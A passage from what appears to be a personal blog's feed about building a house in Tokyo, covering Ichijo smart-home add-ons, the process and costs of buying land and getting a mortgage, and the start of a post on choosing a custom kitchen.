&lt;h3 id=&quot;floor-heating-adapter-included-with-the-cloud-hems-option&quot;&gt;Floor heating adapter (included with the Cloud HEMS option)&lt;/h3&gt;

&lt;p&gt;This gets installed on the back of the floor heating control panel and enables per-area temperature control and on/off setting.&lt;/p&gt;

&lt;p&gt;I expect that this might be useful as a way to automatically lower the temperature in the living room during the night, or to turn up the heating when we are coming back from a longer trip.&lt;/p&gt;

&lt;h3 id=&quot;ecocute-water-heater-adapter-included-with-the-cloud-hems-option&quot;&gt;EcoCute water heater adapter (included with the Cloud HEMS option)&lt;/h3&gt;

&lt;p&gt;This &lt;a href=&quot;https://www.mitsubishielectric.co.jp/home/ecocute/function/remote.html#section01_01&quot;&gt;let’s you refill the bath even when you are away&lt;/a&gt; (assuming the tub stopper/plug is closed, or if you have a bathtub where it can be operated remotely). It also allows to control the amount of hot water in the tank, and let’s you turn off heating the water while you are away for a few days.&lt;/p&gt;

&lt;p&gt;I can see this very useful for times when going on a trip, as it will let us turn on the water heating before we come back.&lt;/p&gt;

&lt;p&gt;Moreover &lt;a href=&quot;https://www.mitsubishielectric.co.jp/home/ecocute/function/ez.html&quot;&gt;it can&lt;/a&gt; check the weather forecast for the next day and wait for the free electricity from the solar panels to reheat the water. This is something that I had in mind myself, since we tend to use hot water mainly in the evening, so delaying the reheat until the solar panels are working can likely save quite a bit of electricity. So I’m looking forward to this feature.&lt;/p&gt;

&lt;p&gt;The specific features depend on whether Mitsubishi or Chofu Seisakusho made the EcoCute, but the documents I saw weren’t very clear on the difference. We are getting one from Mitsubishi, so I guess it will have most things (since they made the backend as well).&lt;/p&gt;

&lt;h3 id=&quot;24h-ventilation-system-ロスガード-adapter-7700-yen&quot;&gt;24h ventilation system (ロスガード) adapter (7,700 yen)&lt;/h3&gt;

&lt;p&gt;This let’s you turn the ventilation system on and off, and switch the mode (e.g. activate night mode). Also to send a push notification when the filter needs to be replaced. It also shows the temperature and humidity of the incoming and outgoing air.&lt;/p&gt;

&lt;p&gt;If you have the うるケア version (which includes the central humidifier), then this adapter also enables turning the humidifier on and off.&lt;/p&gt;

&lt;p&gt;I expect that we will likely automate turning on the night mode each evening, and might set up something for the humidifier setting too, based on the incoming air’s humidity. Overall looking forward to this, as the ventilation system can be quite noisy at night, so having a way to remotely enable night mode or even turn it off for an hour or so sounds useful.&lt;/p&gt;

&lt;h3 id=&quot;air-conditioners-included-with-the-acs&quot;&gt;Air conditioners (included with the ACs)&lt;/h3&gt;

&lt;p&gt;Air conditioners in general are a great device to connect to any HEMS system. Thus all high-grade and many medium-grade AC options include the WiFi adapter. Based on earlier good experience, we went with Daikin ACs and both their high-grade (AX series), and mid-grade (CX series) had the adapter included. I wanted to get high-grade ACs due to their energy efficiency and how well they work, but the inside unit of Daikin AX is too big, so we decided to go with CX for the kids rooms, and kept the AXs for the main bedroom and the living room.&lt;/p&gt;

&lt;h3 id=&quot;alarm-system-防犯警報装置器-not-sure&quot;&gt;Alarm system (防犯警報装置器) (not sure)&lt;/h3&gt;

&lt;p&gt;Ichijo offers a house alarm system that adds opening sensors to all windows, and a central device that makes a loud noise when a window is opened. To open a window without triggering the alarm, one has to turn off the sensor first (by a switch on the sensor).&lt;/p&gt;

&lt;p&gt;We decided not to get this system, simply as we didn’t see the point of it. If someone breaks the window, the sensor won’t trigger (as the window frame didn’t open). So for a bulgar to trigger the sensor, they would either need to pick the window lock from the outside (highly unlikely), or we would need to close the window without locking it AND remember to turn on the sensor. This is also highly unlikely. On the other hand, we would likely often forget to de-active the sensor, which could wake the kid(s).&lt;/p&gt;

&lt;p&gt;But if someone has the alarm, and adds the HEMS connector, then they will be able to get an intruder alert on their phone, reset the alarm (as the normal system needs you to turn it off on the main unit, until then it keeps making the noise, I believe), and turn the speakers on/off.&lt;/p&gt;

&lt;h2 id=&quot;non-hems-smart-options&quot;&gt;Non-HEMS smart options&lt;/h2&gt;

&lt;p&gt;There are devices that connect to the internet, but are not part of the Cloud HEMS offering.&lt;/p&gt;

&lt;h3 id=&quot;panasonic-advanced-series-link-plus-switches-350000-yen-for-all-switches-we-chose&quot;&gt;Panasonic Advanced Series Link Plus switches (350,000 yen for all switches we chose)&lt;/h3&gt;

&lt;p&gt;I &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;looked into smart lighting and light switches&lt;/a&gt; concluding that the best option for us was likely Panasonic’s Advance Series Link Plus, which later &lt;a href=&quot;/2024/11/10/panasonic-advance-series-link-plus/&quot;&gt;I did a deep-dive on&lt;/a&gt;, and we decided to add them. In the end, all of our switches are Link Plus, except:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;switches in the toilet: for an energy efficiency certification these had to be motion sensors&lt;/li&gt;
  &lt;li&gt;bath light and air-circulator: the architect recommended a timer switch for the circulator, which comes with a switch for the light built-in, so went with that&lt;/li&gt;
  &lt;li&gt;switch for the EV charger (as the Link Plus switches can’t handle the amps required)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the first 2 I asked them to pull an extra earth wire to the switch, so that they might be replaced by Link Plus switches in the future.&lt;/p&gt;

&lt;p&gt;These are not part of Ichijo’s HEMS offering, but Panasonic’s hub supports Echonet LITE.&lt;/p&gt;

&lt;h3 id=&quot;outside-security-camera-with-lan-47800-yen&quot;&gt;Outside security camera with LAN (47,800 yen)&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/doorphone/products/vl-cx500x/&quot;&gt;VL-CX500X-H&lt;/a&gt; security camera from Panasonic. I like the small, boxy design. I considered installing cameras myself after we move in, but I didn’t feel like drilling holes into our brand new house, so the convenience of having it installed by Ichijo won. Also this way they take care of the wiring too, both the power and the ethernet.&lt;/p&gt;

&lt;h3 id=&quot;intercom-upgrade-mt91-28000-yen&quot;&gt;Intercom upgrade MT91 (28,000 yen)&lt;/h3&gt;

&lt;p&gt;This changes the intercom to another Panasonic model which will send you a push notification when someone is ringing the bell. However according to &lt;a href=&quot;https://yokohama-3floor-house.com/2020/09/24/post-1227/&quot;&gt;this blog&lt;/a&gt; the notification takes about 10 seconds, so by the time you respond, the delivery person usually left already.&lt;/p&gt;

&lt;p&gt;The reason we got this is that this also enables connectivity with the security camera, and the intercom will show the camera feed when it detects movement. This can act as a pre-notification before someone rings the doorbell, if we are near the intercom. Also the intercom has an SD card slot where the camera recordings can be stored, which is nice too.&lt;/p&gt;

&lt;h3 id=&quot;e-entry-entrance-door-interphone-plan-60000-yen-for-the-door-21000-yen-for-the-interphone-connection&quot;&gt;E-entry entrance door, interphone plan (60,000 yen for the door, 21,000 yen for the interphone connection)&lt;/h3&gt;

&lt;p&gt;E-entry entrance door has a radio receiver, so you can keep the key in your pocket and the door can be unlocked with the press of a button (like how many cars work).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-21-ichijo-smart-home/radio-key.png#lb&quot; alt=&quot;Ichijo&apos;s radio key options - separate button and handle-integrated button (price as of January 2024)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Due to the shape of our house, we are  getting a sliding entrance door, which only allowed e-entry with the unlock button separate from the handle (別体型). The version that includes the button in the handle can directly connect to the WiFi, but the separate can’t. So we added the interphone plan (ｲﾝﾀｰﾎﾝﾌﾟﾗﾝ), which connects the door to the interphone. Since the interphone is connected to the internet, this means that the door can be opened and closed remotely (useful if someone gets home but forgot their keys). I believe this option required the intercom upgrade to work, or maybe it works without, but then the door can only be opened from the intercom (and not from online).&lt;/p&gt;

&lt;p&gt;This feature was important for us, as sometimes we forget something, run back to get it, then wonder if we locked the door or not. With this setup, we will be able to check it remotely and even lock the door if we forgot.&lt;/p&gt;

&lt;h3 id=&quot;electric-honeycomb-shades-10000-yen-per-shade&quot;&gt;Electric honeycomb shades (10,000 yen per shade)&lt;/h3&gt;

&lt;p&gt;Ichijo offers honeycomb shades for their windows, and one can upgrade them to be operated by a small motor (instead of manually). These come with IR remote controllers, and no built-in smart functionality, so I plan to add an IR blaster to each room to control these automatically (e.g. lower them when the sun goes down, raise them when the morning alarm goes off).&lt;/p&gt;

&lt;h3 id=&quot;miele-dishwasher&quot;&gt;Miele dishwasher&lt;/h3&gt;

&lt;p&gt;We &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;are getting a custom kitchen&lt;/a&gt; from &lt;a href=&quot;https://www.woodone.co.jp/&quot;&gt;WoodOne&lt;/a&gt;, which will include &lt;a href=&quot;https://www.miele.co.jp/domestic/dishwashers-2510.htm?mat=12514180&amp;amp;name=G_7604_C_SCU_AutoDos&quot;&gt;this large, front-open dishwasher from Miele&lt;/a&gt;. This comes with Miele’s own &lt;a href=&quot;https://www.miele.co.jp/domestic/miele-app-4253.htm&quot;&gt;mobile app&lt;/a&gt; and also has two HomeAssistant integrations: &lt;a href=&quot;https://github.com/HomeAssistant-Mods/home-assistant-miele&quot;&gt;home-assistant-miele&lt;/a&gt; and &lt;a href=&quot;https://github.com/astrandb/miele&quot;&gt;astrandb/miele&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I don’t yet have any plans on how to use this, but let’s see.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;So these are the smart home options that we decided to add to our house. I will post a follow-up write-up after we moved in and configured all of these, but that will likely be next year.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Buying a land in Tokyo</title>
   <link href="https://szabo.jp/2025/04/13/buying-a-land/"/>
   <updated>2025-04-13T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/04/13/buying-a-land</id>
   <content type="html">&lt;p&gt;About a year ago we bought a plot of land in western Tokyo in Musashino city (see &lt;a href=&quot;/2024/04/19/comparing-cities-to-live/&quot;&gt;this post&lt;/a&gt; about why we chose this place). In this post I’ll share the process of finding and buying the land, and the associated costs.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;information-gathering&quot;&gt;Information gathering&lt;/h2&gt;

&lt;p&gt;We started casually looking about a year before, checking both newly built houses, apartments, as well as visiting model houses and talking with building companies. This was about deciding if we wanted to buy an apartment (マンション), buy a house, or build our own house. Also if the last, then to decide the builder company. This was also the time to look into loans and consider our budget.&lt;/p&gt;

&lt;p&gt;We set our budget like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;60 million yen (6千万円) for the land&lt;/li&gt;
  &lt;li&gt;30 million yen (3千万円) for the house&lt;/li&gt;
  &lt;li&gt;10 million yen (1千万円) for fees and the inevitable unexpected costs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which would bring the overall amount to 100 million yen (1億円), which we intended to take out entirely as loan. In Japan, many banks allow you to take out more than the price of the house, as you are personally liable to pay back the loan. So if you would to default, the bank doesn’t only take the house, they can also take your savings, and other assets.&lt;/p&gt;

&lt;h2 id=&quot;looking-for-land&quot;&gt;Looking for land&lt;/h2&gt;

&lt;p&gt;About 6-9 months before, we decided that we will build our own house. So we told the real estate agent (that we knew from a bar we used to frequent) that we are on the market for a land in our area (or &lt;a href=&quot;/2024/04/19/comparing-cities-to-live/&quot;&gt;a few stations further out&lt;/a&gt;). Then he would often send us some lands by e-mail, and we went to see a few of them together. We were also casually looking at &lt;a href=&quot;https://suumo.jp/&quot;&gt;Suumo&lt;/a&gt; and &lt;a href=&quot;https://www.homes.co.jp/&quot;&gt;Homes&lt;/a&gt; to see if anything pops up, and also to get a feel for the price and compromises involved.&lt;/p&gt;

&lt;p&gt;In January we decided that we will build with Ichijo and signed the pre-contract with them. This proved to be important, as now we could ask our Ichijo contact to see the lands we were seriously considering and tell us if Ichijo would be able to build on them (they manufacture pieces of the house in a factory and then &lt;a href=&quot;https://youtu.be/yNhGCX_bYmI?si=hICJhTyN3lsjADHK&amp;amp;t=47&quot;&gt;put them together with a crane&lt;/a&gt;, which has to fit next to the land).&lt;/p&gt;

&lt;h2 id=&quot;finding-the-land&quot;&gt;Finding the land&lt;/h2&gt;

&lt;p&gt;In March we found a few lands that we liked, and looked at them in person together with the Ichijo person. We also spent quite a bit of time walking the neighborhoods, and looking up what’s nearby on Google Maps. Also checked &lt;a href=&quot;/2024/04/22/what-to-check-before-buying-a-land-in-tokyo/&quot;&gt;as much publicly available information about the land as possible&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Finally we found a land that we really liked, good location, nice neighborhood with all that we wanted and none that we wanted to avoid. Except that it was a bit over-budget at 64.8 million yen (6,480万円). But for the location and size the price was fair, even a bit on the cheaper side due to the shape of the land: while it is a rectangle (so no &lt;a href=&quot;https://ja.wikipedia.org/wiki/%E6%97%97%E7%AB%BF%E5%9C%B0&quot;&gt;flag-pole shape&lt;/a&gt;), it is narrow and long: about 6 m wide and 20 m long.&lt;/p&gt;

&lt;h2 id=&quot;making-an-offer&quot;&gt;Making an offer&lt;/h2&gt;

&lt;p&gt;We decided to increase our budget and make an offer. Our real estate agent handled the paper work, we just had to tell him the amount. He was really pushing us to make an offer at the listed price as to not loose the land. This is understandable from his point of view, since he has been showing us lands for over half a year, so he was eager to close a deal, but I expected him to help us with the negotiation, especially as it was over budget. But I know that this rarely happens in Tokyo, as real estate agents don’t want to jeopardize their relationship with the other real estate agents (including the seller’s), and the market is often pretty hot, so desirable lands will go quickly.&lt;/p&gt;

&lt;p&gt;So I asked the impartial party: our Ichijo contact. He said that while it is not unheard of to get 2-3m yen off, it is more common to ask for a smaller discount.&lt;/p&gt;

&lt;p&gt;So we decided to make an offer at 1 million yen below asking price. We had to push the real estate agent to make this offer, but he did it in the end. The seller came back with a counter offer of half million yen off from asking.&lt;/p&gt;

&lt;p&gt;At this point it was clear that we will make a deal, and this was just about negotiation. Since the original price ended at 800,000 yen, I suggested to send a counter-counter offer asking for 800,000 yen off, which would round it down to a nice round number (64 million yen). Our real estate agent dig in his heels and said that he really doesn’t recommend doing this, and we should just accept the 500,000 yen discount. I felt that we would loose out on the joy of the negotiation by doing that. I didn’t care about the actual money that much (we are talking about like 0.3% of the overall budget), but I wanted to do it for the fun of it.&lt;/p&gt;

&lt;p&gt;In a surprise turn of events the real estate agent asked for a moment to call his manager, then came back with a proposal: they are willing to give us 187,900 yen off from the real estate agent fee (rounding it down to 2 million yen) if we accept the counter offer as-is. This was a win-win for both of us: this would give us some of the additional 300,000 yen that we wanted to ask for, and it would close the deal for the real estate agent. Moreover should we have stayed within our original budget, the real estate agent’s fee (which is 3% of the price plus 60,000 plus tax) would have been about the same they will get after this discount. So we accepted it.&lt;/p&gt;

&lt;h2 id=&quot;signing-the-initial-contract&quot;&gt;Signing the initial contract&lt;/h2&gt;

&lt;p&gt;A few days after accepting the counter offer we met with the seller. We signed the initial contract and handed over the deposit (3 million yen in cash).&lt;/p&gt;

&lt;p&gt;Sidenote: I learned that the 7-Eleven ATM can dispense this much cash, but only at 500,000 yen batches (as that’s the limit per withdrawal). I called the bank ahead of time to increase the limit (so they were aware of the withdrawals), but I’m surprised that the 7-Eleven staff didn’t even bat an eye of me emptying out half the ATM. Although if I would be running the register at minimal wage, probably I also couldn’t care less.&lt;/p&gt;

&lt;p&gt;We signed this initial contract on March 29, and it defined that we will need to finalize everything by mid May. However it gave us the option that if all banks would reject our loan application, then we could walk away without penalty and get the deposit back.&lt;/p&gt;

&lt;p&gt;Right before signing the contract, the real estate agent explained the contract details and shared with us bunch of details of the land (including hazard map status, etc.). This is required by law, which I think is a good thing.&lt;/p&gt;

&lt;p&gt;One minor thing that we only learned later and bothers me: cities often make very long-term plans about new roads or new parks, and then wait until the houses in the area get old and demolished, and then buy the land. Our land turns out to be part of a planned park, but the plans were made in the ’50s and no progress has been made since then. The real estate agent confirmed with the city hall that they do not intend to pursue these plans, and we will be able to build a house. (Apparently officially cancelling the plan would be complicated, so they just don’t bother.) This came up during the explanation, and the real estate agent told us that there is nothing to worry about. Fast forward to 10 months later and we are finalizing the design of the house. The house builder tells us that normally they would obtain the long-term quality housing (長期優良住宅) certification for our house, but since it is built in an area that has a park planned on it, the certification can not be obtained. Now this is mainly a minor inconvenience (although it does mean that we loose out on some of the solar subsidies), and we would have bought the land even if we knew this ahead of time, but it still bothers me that the real estate agent didn’t know about it.&lt;/p&gt;

&lt;h2 id=&quot;looking-for-a-bank&quot;&gt;Looking for a bank&lt;/h2&gt;

&lt;p&gt;Next step was to look for a bank that would be willing to loan us the money. As the land was more expensive than expected, our overall budget went up to 105 million yen (1億500万円), and we were looking for a loan pre-approval of 1億1,000万円 to give us a bit of flexibility with the house (and to account for unexpected costs).&lt;/p&gt;

&lt;p&gt;Ichijo offered to help us with a bank they have relationship with (&lt;a href=&quot;https://www.smtb.jp/&quot;&gt;SMTB, 三井住友信託銀行&lt;/a&gt;), so that was one option. But I also wanted to look for banks ourselves, as I thought we can get a better deal.&lt;/p&gt;

&lt;p&gt;Our requirements were like this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;110% loan - have the loan cover the various fees as well, not just the price of the land and house&lt;/li&gt;
  &lt;li&gt;loan that’s compatible with building a house: we needed the money for the land now, and then the money for the house 1-1.5 years later, when the house is ready&lt;/li&gt;
  &lt;li&gt;variable rate loan, preferably with a rate tied to some deterministic metric. Big banks usually tie it to their short-term prime lending rate (短期プライムレート), while netbanks just make up the number, so they could increase it at will.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This proved to be more tricky than expected.&lt;/p&gt;

&lt;p&gt;We considered Sony bank and PayPay bank, as they had very good rates, however they both would only give us the money when the house is ready, which wouldn’t work for us. We also checked Prestia, however they would only do up-to 100% loans.&lt;/p&gt;

&lt;p&gt;Banks that we actually applied:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;MUFG: they said they only do land-house split loans if it’s less than 1 year between the two (which was impossible with Ichijo). They actually called us to tell this, and recommended that we should ask the house builder’s partner bank.&lt;/li&gt;
  &lt;li&gt;SMBC: we applied through the real estate agent (as he had a partnership with this bank). Even though we applied for 110 million yen, the pre-approval came back with 100 million yen, and the bank told us that for our case they won’t give us more. We couldn’t get more details on whether the location, builder, my income, or the 110% was the issue&lt;/li&gt;
  &lt;li&gt;SMTB: the bank that Ichijo had a partnership with. They fit all of our criteria, and (likely thanks to Ichijo) we passed their screening easily. So we ended up going with them&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We thought that between the initial contract of the land to closing on it, we will have plenty of time. However banks work really slowly, and the process has multiple steps (pre-screening, then main screening with the bank potentially asking for additional documents), so we didn’t have that much time. Moreover as the loan is for a house you live in, the banks want to know which company will build the house and how much it will cost (of course this can change as the house is finalized, but they need a number). So I highly recommend deciding the house builder company before this step.&lt;/p&gt;

&lt;h3 id=&quot;details-of-the-loan&quot;&gt;Details of the loan&lt;/h3&gt;

&lt;p&gt;We got a variable rate loan at 0.32% (this included a discount due to Ichijo’s partnership, a discount for high quality house (ZEH), and a discount for agreeing to invest 50,000 yen monthly into one of their funds - they have an &lt;a href=&quot;https://www.smtb.jp/personal/saving/investment/fund/6431B223&quot;&gt;S&amp;amp;P500 fund with low fee&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Since then the rate has gone up to 0.47% (at the end of 2024), and it is expected to increase once more soon to mirror the interest rate hikes by the Bank of Japan.&lt;/p&gt;

&lt;p&gt;The length of the loan is the standard 35 years, with the option to pre-pay at anytime for free (there is a minor administrative fee if prepaying the full amount). At prepayment one can choose to either reduce the remaining length or reduce the monthly payments going forward (some banks will only allow one of these, but SMTB allows both).&lt;/p&gt;

&lt;p&gt;Moreover SMTB allowed us to only pay the interest for the first year (to reduce the burden of paying the mortgage for the land, while we are still paying rent at the same time). We took advantage of this. However this means that the loan of the land will need to be paid back in 34 years, so the monthly payments will be slightly higher (however at less than 1% rates, it is much better to invest the money and drag out paying back the mortgage as long as possible).&lt;/p&gt;

&lt;p&gt;The mortgage is technically split into two, mostly separate loans, one for the house and one for the land. They had to come from the same bank (as otherwise in case of a default multiple banks would have claims on the property), but otherwise they are treated as two separate loans (separate start and end date, possibly different options e.g. I believe one could be variable rate while the other fixed).&lt;/p&gt;

&lt;h3 id=&quot;guarantor-fee&quot;&gt;Guarantor fee&lt;/h3&gt;

&lt;p&gt;There is an additional fee that one has to pay the bank, often called the guarantor fee (保証取扱手数料) or insurance fee. &lt;a href=&quot;https://faq.smtb.jp/faq/show/2976?category_id=184&amp;amp;site_domain=default&quot;&gt;SMTB (and many other banks) offered two option for this&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;a 2.2% fee of the loan amount paid at the time of taking out the loan, or&lt;/li&gt;
  &lt;li&gt;33,000 yen fee at the time of taking out the loan, but interest rate goes up by 0.25%&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SMTB allowed rolling the 2.2% fee into the loan itself, so it became a math question: which is better? It depends on a few factors:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;if one pays the mortgage for the full 35 years, then the 2.2% fee is likely better&lt;/li&gt;
  &lt;li&gt;if one sells the house after a few years and pre-pays the mortgage in full, then the higher interest rate is better (as in those few years it cost less than the one-time 2.2% fee).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The break even between the two is somewhere around 10 years (if I remember correctly, but I don’t have my calculations anymore).&lt;/p&gt;

&lt;p&gt;Moreover if the interest rate would go up a lot, then the 0.25% higher interest rate can come out ahead, as the additional principal of the 2.2% fee would incur high interest, while e.g. the difference between 10% or 10.25% interest is not that much. However this only kicks in at truly high interest rates (I think over 10%).&lt;/p&gt;

&lt;p&gt;So we decided to go with the 2.2% initial fee.&lt;/p&gt;

&lt;p&gt;Btw this (or the loan in general? not sure) included a basic life insurance for me: if I die, then the rest of the mortgage disappears and my family gets the house. The bank tried to sell me additional insurance (e.g. if I get a deadly disease, they would immediately pause the monthly payments, or if I get cancer, it would cancel out half or the full loan amount, regardless if I recover or not), but I didn’t find them a good deal. They mostly dealt with near-terminal illnesses, and with the default life insurance their values seemed to be limited to a few years. Instead I’ll get a normal life insurance from another insurance provider in addition to the default one that came with the loan.&lt;/p&gt;

&lt;h2 id=&quot;closing-on-the-land&quot;&gt;Closing on the land&lt;/h2&gt;

&lt;p&gt;In mid May we went to the bank. First I opened a bank account, and signed the contracts for the loan. Then the seller, the real estate agent, and a scrivener (sort of like a lawyer, but deals mainly with paperwork) joined, and we signed the final contract of the land. Then I signed the money transfer request, which the bank executed immediately. All 3 parties checked with their bank and confirmed that they received the money.&lt;/p&gt;

&lt;p&gt;The amounts I paid at this time:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;61,3 million yen (6,130万円) - remaining money for the land  (price: 6,430万円 minus the 300万円 we already paid)&lt;/li&gt;
  &lt;li&gt;2 million yen (200万円) - real estate agency fee. Normally: 3% of the price + 60,000 plus 10% tax, which would have been 2,187,900 yen, but we got the discount&lt;/li&gt;
  &lt;li&gt;1,507,000 yen (150.7万円) - loan fee / guarantor fee (2.2% of the loan amount)&lt;/li&gt;
  &lt;li&gt;748,500円 - land ownership change registration fee. This went to the scrivener who handled the paperwork. This included both the registration fee and the fee of the scrivener (which is set by the law)&lt;/li&gt;
  &lt;li&gt;126,612円 - our portion of this year’s property tax. The seller already paid this in January, so they did a per-day breakdown of what portion of the year we will own the land, and we paid them the tax proportionally to that. The land was empty in January, so this was for an empty lot. With the house it should be a bit lower, I believe, but we shall see&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All-in-all, buying the land cost us 68,682,112 yen (6,868万円), even though the price of the land was only 64,300,000 yen (6,430万円). This puts all the fees combined at 6.8% of the price of the land, which is inline with what I read online.&lt;/p&gt;

&lt;p&gt;There you have it, our journey of buying a land in Tokyo. After this, we started the long process of designing our house, but that’s a story for another post.&lt;/p&gt;

&lt;h2 id=&quot;cost-breakdown&quot;&gt;Cost breakdown&lt;/h2&gt;

&lt;p&gt;The final cost breakdown of buying the land was this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-13-buying-a-land/land-cost-breakdown.png#lb&quot; alt=&quot;Sankey diagram of the cost breakdown&quot; /&gt;&lt;/p&gt;

&lt;!--
Made with: https://sankeymatic.com/build/
Width: 800
Height: 400

Source:
Mortgage [68500000] Overall
Self paid [182112] Overall

Overall [64300000] Land
Overall [2000000] Real estate agency fee
Overall [1507000] Guarantor/loan fee (2.2%)
Overall [748500] Registration &amp; taxes
Overall [126612] Property tax (1st year)
--&gt;
</content>
 </entry>
 
 <entry>
   <title>Custom kitchen with Ichijo</title>
   <link href="https://szabo.jp/2025/04/12/custom-kitchen-with-ichijo/"/>
   <updated>2025-04-12T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/04/12/custom-kitchen-with-ichijo</id>
   <content type="html">&lt;p&gt;We are building a house in Tokyo with &lt;a href=&quot;https://www.ichijo.co.jp/&quot;&gt;Ichijo 一条工務店&lt;/a&gt;. They are known to provide outstanding cost-performance (especially in insulation), but a lack of customization options. One place where this caused us extra work was the kitchen, and I’ll share our journey in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;em&gt;I will share prices in this post, but those of course change with time. For reference: we signed the pre-contract with Ichijo in January 2024, and talked with the kitchen companies from the summer of 2024, signing the final contract for the selected kitchen in March 2025.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;our-requirements&quot;&gt;Our requirements&lt;/h2&gt;

&lt;p&gt;Both my wife and I like cooking, so kitchen is one of the places in the house where we spend quite a bit of time. So making sure it meets our needs and desires was important from the beginning. Our initial requirements can be summarized as this:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;front-open, big dishwasher - Japanese homes still often don’t have dishwasher or only a small one&lt;/li&gt;
  &lt;li&gt;IH stove - since we’ll have solar on the house, we decided to make our home electricity-only (オール電化)&lt;/li&gt;
  &lt;li&gt;separate tap for purified water - the water filter is often included in the main tap, and one needs to press a button to switch between normal or purified water. However we have this type now, and we often forget to switch&lt;/li&gt;
  &lt;li&gt;a balance of plenty of storage but an open feel - no overhead storage in the middle of the room&lt;/li&gt;
  &lt;li&gt;space for all of our appliances (coffee maker, rice cooker, kettle) and two microwaves (both have oven functionality, and often times when we bake in one, we use the other one for heating up leftovers, or baby food)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other than the front-open dishwasher, these were pretty standard and doable with many options. However the dishwasher turned out to be the challenge.&lt;/p&gt;

&lt;h2 id=&quot;dishwasher-options&quot;&gt;Dishwasher options&lt;/h2&gt;

&lt;h3 id=&quot;option-1-panasonic-from-ichijo&quot;&gt;Option 1: Panasonic from Ichijo&lt;/h3&gt;

&lt;p&gt;Ichijo offers multiple house lineups, which affect the available options. We went with one of their higher end option, &lt;a href=&quot;https://www.ichijo.co.jp/lineup/grand-smart/&quot;&gt;GRAND SMART&lt;/a&gt;, which just recently introduced the option to have a front-open dishwasher (from Panasonic) in their Grace Kitchen option (they offer other kitchen designs, but those don’t have the front-open dishwasher option):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/ichijo-panasonic-dishwasher.png#lb&quot; alt=&quot;Ichijo&apos;s only front-open dishwasher option (as of January 2024)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So this was one possibility, although as this was only available in a single size of the Grace Kitchen, it would have limited our choice. Moreover this is the first model of front open dishwasher that Panasonic has ever made, and when we saw it in person, it really had that first-gen feeling: the shelves were a bit wobbly, and overall it didn’t feel like it will last. (This could have been due to the machine being in a showroom where people open it much more than in normal use, but this was Panasonic’s own showroom, so I would expect them to fix/replace it if it is broken/worn out.)&lt;/p&gt;

&lt;h3 id=&quot;option-2-add-it-later&quot;&gt;Option 2: add it later&lt;/h3&gt;

&lt;p&gt;One unofficial option that Ichijo offers is that they are willing to leave the dishwasher’s space empty, and you can install your own dishwasher later. &lt;a href=&quot;https://ameblo.jp/ironohome/entry-12664848779.html&quot;&gt;This blog&lt;/a&gt; has the costs from 2021. Based on this we would have roughly the following costs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Buying the dishwasher. We found a Miele that we liked that had a list price of ¥517,000&lt;/li&gt;
  &lt;li&gt;Fee of installing the dishwasher. The blog said ¥50,000, but likely a bit higher due to inflation&lt;/li&gt;
  &lt;li&gt;Fee to Ichijo to prepare the pipes and electricity connections. The blog said ¥31,260, but again, likely higher now&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Still, this is likely a good option for people who are happy with Ichijo’s kitchen design and just want a custom dishwasher.&lt;/p&gt;

&lt;h3 id=&quot;option-3-fully-custom-kitchen&quot;&gt;Option 3: fully custom kitchen&lt;/h3&gt;

&lt;p&gt;Ichijo also lets you skip their kitchen, and get the kitchen from another company. They have a relationship with many kitchen makers, so you can get a discount from the list price, and Ichijo will also give back some money for cancelling their kitchen (which is included in the price of the house), however Ichijo will charge some extra for installing the kitchen. Compared to adding it later, this has the benefit that Ichijo will install the full kitchen. We ended up going with this option.&lt;/p&gt;

&lt;h2 id=&quot;custom-kitchens&quot;&gt;Custom kitchens&lt;/h2&gt;

&lt;p&gt;There are many companies making custom kitchens, and we got estimates from a few of them. Since we did these while we were still finalizing the layout, the size of the kitchen changed between these, so direct comparison is not perfect.&lt;/p&gt;

&lt;h3 id=&quot;lixil&quot;&gt;LIXIL&lt;/h3&gt;

&lt;p&gt;The first company we talked to was LIXIL. At this point our layout would have worked best with an L shape kitchen. Once we told that we wanted the front-open Miele dishwasher, they immediately recommended us their highest lineup (as otherwise there would be a gap at the bottom, which would look bad).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/lixil.png#lb&quot; alt=&quot;Lixil&apos;s kitchen design&quot; /&gt;&lt;/p&gt;

